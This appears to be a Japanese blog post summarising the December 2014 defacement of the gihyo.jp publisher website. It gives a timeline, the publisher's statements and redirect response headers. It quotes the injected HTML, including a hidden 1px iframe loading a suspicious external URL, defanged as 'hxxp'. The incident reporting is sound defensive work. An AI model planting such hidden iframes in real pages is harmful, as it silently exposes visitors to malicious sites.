2014-12-06
技術評論社のWebサイトが改ざんされた件をまとめてみた
Web改ざん | |
2014年12月5日11時頃から、技術評論社のWebサイトを閲覧すると別のサイトに転送される事象が発生しました。ここではその関連情報をまとめます。
公式発表
- 暫定復旧したWebサイト上には現時点で掲載無し。
技術評論社Twitterアカウントのアナウンス（一部）
【本日11時ころより発生してる状況について】本日11時ころ，サーバ管理ツールに侵入されサーバそのものを入れ替えることにより，外部サイトにリダイレクトされるように設定されました。危険なサイトである可能性があるため，現状アクセスしないでください。
— gihyo.jp (@gihyojp) 2014, 12月 6サーバOSそのものへの侵入ではなく，OSの入れ替えが行われたため，情報漏洩等は確認されておりません。詳細は後日改めてご報告いたします。
ご報告が遅れておりますことをお詫びいたします。
— gihyo.jp (@gihyojp) 2014, 12月 6タイムライン
| 日時 | 出来事 |
|---|---|
| 12月5日 | さくらインターネットがフィッシングサイトについて注意喚起を掲載 |
| 12月6日 11時頃 | 技術評論社のWebサイトを閲覧すると別のドメインに接続する事象が発生。 |
| 12月6日 11時半頃 | 技術評論社のTwitterアカウントから接続障害が発生しているとアナウンス。 |
| 12月6日 14時頃 | 技術評論社が窃取された同社のサーバーアカウントを取り戻し復旧作業を開始。 |
| 12月6日 15時52分 | 同社のWebサイトが暫定的に復旧。 |
被害対象
発端
原因
- 何らかの方法を通じてさくらインターネットのVPSのコントロールパネルがのっとられたためと思われる。
12月5日付でさくらインターネットから不正ログインに関する注意喚起
対応
- 暫定復旧対応
- 情報漏えい、影響範囲など被害詳細については現在調査中の模様。
犯行元と思われるアカウントの関連Tweet
転送されていた外部のドメインについて
gihyo.jp（11時頃）
- www.koushin-lawfirm.net (128.199.218.38) シンガポール urlQuery VT
- 2014年12月1日頃取得されたドメイン *2
- 恒心綜合法律事務所のドメイン名からつけたものと思われる。
- 当該ドメインに現在アクセスすると302でYahoo! JapanのWebサイトへ転送される。
- www.koushin-lawfirm.netのレスポンスコード
content-encoding:gzip
content-length:20
content-type:text/html; charset=utf-8
date:Sat, 06 Dec 2014 06:07:17 GMT
expires:Thu, 21 Jul 1977 07:30:00 GMT
last-modified:Sat, 06 Dec 2014 06:07:17 GMT
location:http://www.yahoo.co.jp
pragma:no-cache
status:302 Found
vary:Accept-Encoding
version:HTTP/1.1
x-powered-by:PHP/5.3.3-7+squeeze23
gihyo.jp（13時頃）
- gihyo.jpのレスポンスコード
Content-Length:399
Content-Type:text/html; charset=iso-8859-1
Date:Sat, 06 Dec 2014 03:48:02 GMT
Location:hxxp://live.livelistingreport.com/?PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cYWIyYzgzZDgwNTI1MTFjYmQwMDk4ZjFlODM0ODA4ZjI
Server:Apache
www.gihyo.co.jp（13時頃）
Date: Sat, 06 Dec 2014 04:25:34 GMT
Server: Apache
Last-Modified: Sat, 06 Dec 2014 04:08:43 GMT
ETag: "38146c-128-509845967b200"
Accept-Ranges: bytes
Content-Length: 296
Connection: close
Content-Type: text/html; charset=UTF-8
<iframe src="hxxp://www.koushin-lawfirm.jp/" style="width:100%; height:100%;"></iframe>
<iframe src="hxxp://live.livelistingreport.com/?PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cYWIyYzgzZDgwNTI1MTFjYmQwMDk4ZjFlODM0ODA4ZjI" style="width:1px; height:1px; visibility:hidden;"></iframe>
https://twitter.com/kenji_s/status/541086984991965184
更新履歴
- 2014/12/06 PM 新規作成